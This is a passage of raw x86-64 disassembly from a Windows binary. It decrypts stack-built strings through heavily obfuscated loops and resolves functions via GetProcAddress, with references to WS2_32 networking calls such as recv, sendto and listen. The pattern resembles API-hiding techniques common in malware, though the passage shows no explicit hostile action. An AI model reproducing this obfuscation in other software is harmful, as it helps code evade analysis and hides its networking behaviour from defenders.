call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
mov byte [rbp + 0x300], 0x77
mov byte [rbp + 0x301], __WSAFDIsSet
mov byte [rbp + 0x302], 0xa6
mov byte [rbp + 0x303], 0x75
mov byte [rbp + 0x304], 0xab
mov byte [rbp + 0x305], 0xa7
mov byte [rbp + 0x306], __WSAFDIsSet
mov byte [rbp + 0x307], 0x90
mov byte [rbp + 0x308], 0xba
mov byte [rbp + 0x309], 0xb6
mov byte [rbp + 0x30a], 0xbf
mov byte [rbp + 0x30b], 0xb5
mov byte [rbp + 0x30c], 0x88
mov byte [rbp + 0x30d], 0x9a
mov byte [rbp + 0x30e], 0xb7
mov byte [rbp + 0x30f], 0xb1
mov byte [rbp + 0x310], 0x84
mov byte [rbp + 0x311], 0xbe
mov byte [rbp + 0x312], 0xb5
mov byte [rbp + 0x313], 0x23
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x314], xmm0
mov dword [rbp + 0x324], eax
mov word [rbp + 0x328], ax
movabs r15, 0xf5480f55cc93cc08
movabs r13, 0xb4f86b58980a9438
movabs r12, 0xdfd82e0165bb6418
movzx edi, byte [rbp + 0x410]
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2a
jae 0x14006949f
movzx r10d, byte [rbp + r11 + 0x300]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140069496
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140068a3c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x38
jmp 0x140068a76
je 0x140069421
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069392
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140069360
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006931b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400692f3
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006948d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140068aae
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068af0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400692ad
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069287
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006926c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006924c
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006922d
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140068fa1
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140068f86
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140068f60
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140068f3a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140069056
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140068f1a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140068efd
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140068ede
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140068ec1
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006946d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140069450
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140068cad
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140068c8e
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140068c73
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140068e74
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140068e36
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140068df2
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140068dc3
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140068da3
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140068d88
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140068d68
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140068d53
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140068d38
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140068d12
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140068cec
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140068ccd
lea rbx, [r8 + 0xa]
lea r8, [rbx + 9]
jmp 0x140068b00
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x140068af0
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140068a80
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140068a10
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400692c3
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x1400689f3
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400689f3
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140069339
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x140069376
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069379
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400693ae
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400693da
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x1400689f3
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 5
jb 0x1400691e9
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400692c3
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
cmp rbx, 0x10
jae 0x1400691f9
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140069145
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
jmp 0x140068e01
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x140069217
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x1400690cc
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140068e4c
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400693da
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400693ae
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140069379
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069376
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400689f3
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x1400689f3
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400692c3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140068fc8
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140068e8e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069000
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x1400689f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069024
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400693ae
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006904d
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069376
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140069071
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140069339
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400690a0
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400689f3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140068e8e
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400692c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400690f4
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400692c3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069118
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140069339
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140068e4c
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069376
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006917d
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x1400689f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400691a6
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400693da
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400691bd
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x140069328
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140068e0c
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400692c3
mov byte [rbp + r11 + 0x300], dil
inc r11
jmp 0x1400689f3
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140069339
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x30]
jmp 0x1400693ae
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400693ae
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140069376
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140069339
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400689f3
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x300], cl
inc r8
dec r11
inc r11
jmp 0x1400689f3
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400689f3
movzx r9d, r11b
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x48
movzx eax, r10b
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x300], cl
jmp 0x140069376
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400689f3
lea rcx, [r11 + r13]
and sil, cl
mov eax, 0x3c
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x300], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x300], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x1400689f3
lea rcx, [r11 + r12]
and sil, cl
mov eax, 0x2c
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x300]
add rax, r8
add r11, rax
inc r11
jmp 0x1400689f3
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x1400689f0
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400689e0
lea rdx, [rbp + 0x14d1860]
jmp 0x1400694a6
lea rdx, [rbp + 0xa0e468]
jmp 0x1400694a6
lea rdx, [rbp + 0x300]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
mov byte [rbp + 0xe0], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xe1], 0xf4
mov byte [rbp + 0xe2], 0xfe
mov byte [rbp + 0xe3], 8
mov byte [rbp + 0xe4], 0x1b
mov byte [rbp + 0xe5], 0xf6
mov byte [rbp + 0xe6], 0xf2
mov byte [rbp + 0xe7], 3
mov byte [rbp + 0xe8], 0xff
mov byte [rbp + 0xe9], 0xf4
mov byte [rbp + 0xea], WSAGetLastError
xor eax, eax
mov dword [rbp + 0xeb], eax
mov word [rbp + 0xef], ax
movzx edi, byte [rbp + 0x410]
movabs rsi, 0xfc3c530bb49727f1
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
mov qword [rsp + 0x20], r10
cmp r10, 0x11
jae 0x14006a1c3
lea rax, [rbp + 0xe0]
add rax, r10
mov qword [rsp + 0x28], rax
movzx r13d, byte [rax]
mov edx, r13d
mov qword [rsp + 0x30], rdx
nop dword [rax]
cmp rbx, r10
ja 0x14006a1ba
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006958c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x69
jmp 0x1400695c6
je 0x14006a128
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006a0d7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006a095
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006a053
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006a024
movzx r9d, r10b
nop word [rax + rax]
movzx edx, r9b
mov byte [rbp + 0x410], dl
movzx r12d, r9b
movzx esi, r9b
movzx r15d, r9b
movzx r14d, r9b
mov byte [rbp + 0x418], r9b
cmp r8, r10
ja 0x14006a1b1
lea r10, [r8 + 1]
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140069627
lea ecx, [r9 - 0x3b]
movzx eax, cl
and al, r13b
add al, al
sub cl, al
lea edi, [rcx + r13]
sub dil, 0x63
lea r11, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x140069660
cmp rbx, r10
je 0x140069fcb
lea r11, [r8 + 2]
cmp rbx, r11
je 0x140069f98
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140069f7d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140069f2a
nop word [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, qword [rsp + 0x20]
jbe 0x140069bcf
nop
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140069baf
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140069b7a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140069b48
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140069b24
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140069b04
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140069ae4
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140069ac4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140069a9f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140069a7d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140069670
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006a190
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006a165
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140069825
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140069801
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140069a2b
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400699e5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400699ae
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140069670
lea rbx, [r8 + 3]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140069989
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140069964
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140069944
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140069927
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006990a
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400698e6
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400698b1
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140069879
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140069859
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140069670
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x64]
jmp 0x140069670
lea edx, [r9 - 7]
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
add dil, 0x31
add dil, dl
mov r10, qword [rsp + 0x20]
jmp 0x1400695d0
add r9b, 0x17
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
add dil, 0x5f
add dil, r9b
mov r10, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x30]
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069560
add r9b, 0x28
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
sub r9b, 0x18
add dil, r9b
jmp 0x140069fe4
add r9b, 0x46
movzx eax, r13b
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
inc r8
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
add r9b, 0x64
movzx eax, r13b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
sub r9b, 0x7e
movzx eax, r13b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
movzx r9d, sil
jmp 0x14006a071
sub r9b, 0x60
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x60
jmp 0x14006a0ac
sub r9b, 0x42
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x32
jmp 0x14006a0af
sub r9b, 0x24
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
sub r9b, 4
add dil, r9b
jmp 0x140069f43
sub r9b, 6
movzx eax, r13b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
jmp 0x14006a0f6
add r9b, 0x18
movzx eax, r13b
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
jmp 0x14006a144
add r9b, 0x63
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
add dil, 0x4b
mov rcx, qword [rsp + 0x28]
mov byte [rcx], dil
mov r10, qword [rsp + 0x20]
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
sub r9b, 0x7f
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
add r9b, 0x79
add dil, r9b
movzx r9d, sil
cmp r8, 4
jb 0x1400699c6
lea edx, [r9 + 6]
movzx eax, r13b
and al, dl
add al, al
movzx ecx, r13b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x54]
jmp 0x140069fe8
sub r9b, 0x61
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x59
add dil, r9b
movzx r9d, r12b
cmp rbx, 0x40
jae 0x140069eee
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140069e0a
lea edx, [r9 + 0x32]
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140069a04
sub r9b, 0x62
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x52
mov r10, qword [rsp + 0x20]
jmp 0x14006a144
sub r9b, 0x44
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x24
add dil, r9b
mov r10, qword [rsp + 0x20]
jmp 0x14006a0f6
sub r9b, 0x26
movzx eax, r13b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
jmp 0x140069f43
sub r9b, 8
movzx eax, r13b
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
jmp 0x14006a0af
add r9b, 0x16
movzx eax, r13b
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
jmp 0x14006a0ac
add r9b, 0x34
movzx eax, r13b
and al, r9b
add al, al
movzx edi, r13b
sub dil, al
sub r9b, 0x6c
add dil, r9b
movzx r9d, sil
jmp 0x14006a071
add r9b, 0x52
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x3e
mov r10, qword [rsp + 0x20]
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
add r9b, 0x70
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x10
mov r10, qword [rsp + 0x20]
inc r8
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
sub r9b, 0x72
movzx eax, r13b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
jmp 0x140069fe4
lea r9, [r8 + 8]
cmp rbx, r9
jae 0x140069c31
movzx edi, sil
sub dil, 0xf
movzx eax, r13b
and al, dil
add al, al
movzx ecx, r13b
sub cl, al
add dil, 0x69
add dil, cl
lea rax, [r8 + 4]
lea rcx, [r8 + 5]
cmp rdx, 6
je 0x140069f0d
cmp rbx, r11
jbe 0x140069d3e
add sil, 0x6d
movzx eax, r13b
and al, sil
add al, al
movzx edi, r13b
sub dil, al
add dil, 5
add dil, sil
jmp 0x140069a46
cmp rbx, r10
jne 0x140069c5b
sub r14b, 0x76
movzx eax, r13b
and al, r14b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r14b
mov r10, qword [rsp + 0x20]
jmp 0x14006a144
cmp rbx, r11
jne 0x140069c80
add r15b, 0x4e
movzx eax, r13b
and al, r15b
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x22
add dil, r15b
jmp 0x140069f43
cmp rbx, rcx
jne 0x140069ca2
add sil, 0x12
movzx eax, r13b
and al, sil
add al, al
sub r13b, al
lea edi, [rsi + r13]
sub dil, 0x7e
jmp 0x14006a0ac
lea rcx, [r8 + 5]
cmp rbx, rcx
jne 0x140069ccf
sub sil, 0xc
movzx eax, r13b
and al, sil
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, sil
movzx r9d, r12b
jmp 0x14006a071
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140069d0d
sub sil, 0x2a
movzx eax, r13b
and al, sil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, sil
mov r10, qword [rsp + 0x20]
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140069bfe
sub sil, 0x66
movzx eax, r13b
and al, sil
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x36
add dil, sil
movzx r9d, r12b
jmp 0x140069fe8
cmp rbx, r10
jne 0x140069d67
add sil, 0x4f
movzx eax, r13b
and al, sil
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x29
add dil, sil
movzx r9d, r12b
jmp 0x140069fe8
cmp rbx, rax
jne 0x140069d89
sub r12b, 0x29
movzx eax, r13b
and al, r12b
add al, al
sub r13b, al
lea edi, [r12 + r13]
add dil, 0x1f
jmp 0x14006a0ac
cmp rbx, rcx
jne 0x140069daf
movzx r9d, sil
sub r9b, 0x47
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0xf
jmp 0x14006a0af
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140069ddb
movzx r9d, sil
lea edx, [r9 - 0x65]
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x3d
add dil, dl
jmp 0x140069f47
cmp rbx, r9
jne 0x140069a46
movzx r9d, sil
add r9b, 0x5f
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
add dil, 0x67
mov r10, qword [rsp + 0x20]
jmp 0x14006a144
lea rax, [r8 + 1]
